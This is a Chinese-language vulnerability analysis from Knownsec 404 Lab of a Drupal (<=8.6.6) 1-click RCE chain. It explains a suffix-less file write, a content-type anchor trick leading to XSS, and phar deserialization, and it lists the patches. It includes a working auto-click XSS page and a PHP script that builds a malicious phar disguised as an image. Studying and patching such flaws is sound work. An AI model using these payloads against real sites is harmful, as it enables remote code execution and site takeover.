作者:LoRexxar'@知道創宇404實驗室
時間:2019年4月19日

英文版本:http://www.bjnorthway.com/927/

2019年4月11日,zdi博客公開了一篇A SERIES OF UNFORTUNATE IMAGES: DRUPAL 1-CLICK TO RCE EXPLOIT CHAIN DETAILED.

整個漏洞的各個部分沒什么特別的,巧妙的是,攻擊者使用了3個漏洞+幾個小trick,把所有的漏洞鏈接起來卻成了一個還不錯的利用鏈,現在我們就來一起看看整個漏洞.

無后綴文件寫入

在Drupal的機制中,設定了這樣一條規則。

用戶上傳的圖片文件名將會被保留,如果出現文件名相同的情況,那么文件名后面就會被跟上_0,_1依次遞增。

在Drupal中為了兼容各種編碼,在處理上傳文件名時,Drupal會對文件名對相應的處理,如果出現值小于0x20的字符,那么就會將其轉化為_

但如果文件名中,如果出現了\x80\xff的字符時,PHP就會拋出PREG_BAD_UTF8_ERROR,如果發生錯誤,那么preg_replace就會返回NULL,$basename就會被置為NULL。

當basename為空時,后面的文件內容會被寫入到形似_0的文件內

在這個基礎下,原本會被上傳到

 /sites/default/files/pictures/<YYYY-MM>/

則會被寫入

 /sites/default/files/pictures/<YYYY-MM>/_0

當服務端開啟了評論頭像上傳,或者是擁有作者賬號時

攻擊者可以通過上傳一張惡意構造的gif圖,然后再上傳一張帶有惡意字符的同一張圖,那么就會將惡意圖片的內容寫入到相應目錄的_0

但如果我們直接訪問這個文件時,該文件可能不會解析,這是因為

  1. 瀏覽器首先會根據服務端給出的content-type解析頁面,而服務端一般不會給空后綴的文件設置content-type,或者設置為application/octet-stream
  2. 其次瀏覽器會根據文件內容做簡單的判斷,如果文件的開頭為<html>,則部分瀏覽器會將其解析為html
  3. 部分瀏覽器還可能會設置默認的content-type,但大部分瀏覽器會選擇不解析該文件。

這時候我們就需要一個很特殊的小trick了,a標簽可以設置打開文件的type(only not for chrome)

當你訪問該頁面時,頁面會被解析為html并執行相應的代碼。

<html>
<head>
</head>
  <body>
  <a id='a' href="http://127.0.0.1/drupal-8.6.2/sites/default/files/2019-04/_6" type="text/html">321321</a>

  <script type="text/javascript">
    var a  = document.getElementById('a')
    a.click()
  </script>
  </body>
</html>

當被攻擊者訪問該頁面時,我們就可以執行任意的xss,這為后續的利用帶來了很大的便利,我們有了一個同源環境下的任意js執行點,讓我們繼續看。

phar反序列化RCE

2018年BlackHat大會上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper議題,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf

在該議題中提到,在PHP中存在一個叫做Stream API,通過注冊拓展可以注冊相應的偽協議,而phar這個拓展就注冊了phar://這個stream wrapper。

在我們知道創宇404實驗室安全研究員seaii曾經的研究(http://www.bjnorthway.com/680/)中表示,所有的文件函數都支持stream wrapper。

也就是說,如果我們找到可控的文件操作函數,其參數可控為phar文件,那么我們就可以通過反序列化執行命令。

在Drupal中,存在file system功能,其中就有一個功能,會把傳入的地址做一次is_dir的判斷,這里就存在這個問題

直接使用下面的payload生成文件

<?php

namespace GuzzleHttp\Psr7{
    class FnStream{

        public $_fn_close = "phpinfo";

        public function __destruct()
        {
            if (isset($this->_fn_close)) {
                call_user_func($this->_fn_close);
            }
        }
    }
}

namespace{
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub,增加gif文件頭
    $o = new \GuzzleHttp\Psr7\FnStream();
    $phar->setMetadata($o); //將自定義meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要壓縮的文件
    //簽名自動計算
    $phar->stopBuffering();
}
?>

修改后綴為png之后,傳圖片到服務端,并在file system中設置

phar://./sites/default/files/2019-04/drupal.png

即可觸發

漏洞要求

這個漏洞在Drual8.6.6的更新中被修復,所以漏洞要求為

  • <= Durpal 8.6.6
  • 服務端開啟評論配圖或者攻擊者擁有author以上權限的賬號
  • 被攻擊者需要訪問攻擊者的url

當上面三點同時成立時,這個攻擊鏈就可以被成立

漏洞補丁

無后綴文件寫入 SA-CORE-2019-004

https://www.drupal.org/SA-CORE-2019-004

如果出現該錯誤直接拋出,不繼續寫入

https://github.com/drupal/drupal/commit/82307e02cf974d48335e723c93dfe343894e1a61#diff-5c54acb01b2253384cfbebdc696a60e7

phar反序列化 SA-CORE-2019-002

https://www.drupal.org/SA-CORE-2019-002

寫在最后

回顧整個漏洞,不難發現其實整個漏洞都是由很多個不起眼的小漏洞構成的,Drupal的反序列化POP鏈已經被公開許久,phar漏洞也已經爆出一年,在2019年初,Drupal也更新修復了這個點,而preg_replace報錯會拋出錯誤我相信也不是特別的特性,把這三個漏洞配合上一個很特別的a標簽設置content-type的trick,就成了一個很漂亮的漏洞鏈。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/897/